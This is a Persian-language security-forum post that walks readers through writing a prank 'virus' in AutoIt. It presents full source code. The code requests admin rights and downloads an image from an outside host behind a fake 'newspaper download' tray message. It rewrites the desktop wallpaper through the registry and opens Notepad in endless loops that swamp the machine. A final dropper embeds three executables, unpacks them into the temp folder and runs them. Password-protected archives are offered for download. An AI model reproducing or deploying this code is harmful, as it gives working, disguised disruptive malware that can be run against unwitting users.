discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

••.•´¯`•.•• 🎀 به نام خدا 🎀 ••.•`¯´•.••

با سلام خدمت دوستان عزیز تیم انجمن گاردایران

در این تاپیک قصد دارم یک ویروس براتون بنویسم که هم سرگرم کننده است و هم خطرناک  :(

توجه : -> برنامه را در سیستم مجازی اجرا کنید <-توجه

مهم > در پایان برنامه هم یک آنتی ویروس واستون نوشتم که بعد از انجام کار حتما استفاده کنید که فایل های مخرب به ظاهر سرگرم کننده  ایجاد شده را پاک کند 

قدم اول : برنامه Autoit رو نصب کنید

قدم دوم -> یک فایل تکست با پسوند au3.* باز کنید

	If IsAdmin() Then
    #RequireAdmin
	Download()
	Sleep(9000)
	_ChangeDestopWallpaper(@DesktopDir & '\w.jpg',2)
	Ring()

	Else
	Download()
	Sleep(9000)
	_ChangeDestopWallpaper(@DesktopDir & '\w.jpg',2)
	Ring()

	EndIf

ابتدای کار یک شرط وارد کردم که اگر سیستم دسترسی ادمین نیاز داشت با دسترسی ادمین اجرا بشه و بقیه تابع هارو اجرا کنه

	Func Download()

$URL2dlFrom = "https://uupload.ir/files/cwq_6f9acba355f302d4cfbe66c7f9f3d2b7.jpg"
$SavePDF2   = @DesktopDir & "\w.jpg "
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Sleep(2500)
TrayTip("", "Downloading today's Metro newspaper edition ...", 45)
InetGet($URL2dlFrom, $SavePDF2, 1)


		EndFunc

 

در این تابع ادرس عکسی که در نظر داشتم قرار دادم و صدای پیش فرض قرار دادم همراه با دانلود شما میتونید تغییر بدین عکس مورد علاقتونو با جایگذاری در هاست دلخواه

در این قسمت ->>>>>>>>>>>>>>>

$URL2dlFrom = "https://uupload.ir/files/cwq_6f9acba355f302d4cfbe66c7f9f3d2b7.jpg"

تابع بعدی رو برای تغییر پس زمینه نوشتم لطفا کدهارو تغییر ندید

	Func _ChangeDestopWallpaper($img, $style = 0)
		Global $REG_DESKTOP = "HKEY_CURRENT_USER\Control Panel\Desktop"
		Local $SPI_SETDESKWALLPAPER = 20
		Local $SPIF_UPDATEINIFILE = 1
		Local $SPIF_SENDCHANGE = 2
		If $style = 1 Then
			RegWrite($REG_DESKTOP, "TileWallPaper", "REG_SZ", 1)
			RegWrite($REG_DESKTOP, "WallpaperStyle", "REG_SZ", 0)
		Else
			RegWrite($REG_DESKTOP, "TileWallPaper", "REG_SZ", 0)
			RegWrite($REG_DESKTOP, "WallpaperStyle", "REG_SZ", $style)
		EndIf

		DllCall("user32.dll", "int", "SystemParametersInfo", _
				"int", $SPI_SETDESKWALLPAPER, _
				"int", 0, _
				"str", $img, _
				"int", BitOR($SPIF_UPDATEINIFILE, $SPIF_SENDCHANGE))
					Return 0
	EndFunc

و در در این تابع دستور اجرا Notepad رو دادم شما درون Send هر چیزی خواستین میتونید بنویسید

Func NotePadd()
    Run("notepad.exe")
    Local $hWnd = WinWait("[CLASS:Notepad]", "", 5)
    ControlClick($hWnd, "", "Edit1")
	Send("guardiran.org--->>>guardiran.org--->>>guardiran.org--->>>guardiran.org--->>>guardiran.org",30)
EndFunc
;///////////////////////////////////////////////////////////////////////
Func Ring()
	While True
		NotePadd()
	WEnd
EndFunc

 

یک فایل دیگر باز کنید و باهمان پسوند au3. ذخیره کنید و کدهای درج شده را درونش قرار دهید

این کدهارو برای باز شدن تکراری Notepad نوشتم

#NoTrayIcon
if IsAdmin() Then
Voice()
Else
Voice()
EndIf
Func Voice()
	While True
	SoundPlay(@WindowsDir & "\media\tada.wav", 1)
	Beeep()
	Example()
	WEnd
EndFunc
Func Example()
	While True
    Run("notepad.exe")
    Local $hWnd = WinWait("[CLASS:Notepad]", "", 10)
    ControlClick($hWnd, "", "Edit1")
  Send("::)) ::)) -<>- ::(( ::(( ",30)
	WEnd
	EndFunc
Func Beeep()
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
Beep(4500, 10)
Beep(5500, 15)
EndFunc

و در آخر یک ویروس نوشتم تا دو ویروس درون خودش جای بگیرد

#NoTrayIcon

if IsAdmin() Then
	#RequireAdmin
	Happy()
Else
	Happy()
	EndIf

Func Happy()
FileInstall("C:\Users\BlackWin\Desktop\FlyOnDesktop.exe",@TempDir&"\",1)
FileInstall("C:\Users\BlackWin\Desktop\Mr_Zeroo.exe",@TempDir&"\",1)
FileInstall("C:\Users\BlackWin\Desktop\Bib.exe",@TempDir&"\",1)

RunWait(@TempDir&"\Mr_Zeroo.exe",@TempDir)
RunWait(@TempDir&"\Bib.exe",@TempDir)
RunWait(@TempDir&"\FlyOnDesktop.exe",@TempDir)
EndFunc

 

دوستان توجه کنید این تاپیک فقط برای آشنایی بیشتر شما با کدنویسی ویروس است اگر نیاز به آموزش از مقدمه تا پیشرفته داشتید میتوانید از طریق خصوصی یا دیسکورد guardiran با من در ارتباط باشید

 

در پایان حتما از آنتی ویروسی که نوشتم استفاده کنید در کنار فایل ها واستون قرار میدم

با تشکر

Mr_Zero

پسورد فایل ----------------------------------------------------->>>>>>>>>>>>>>>>>>>>guardiran.org

 

guardiran.rar source.rar

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری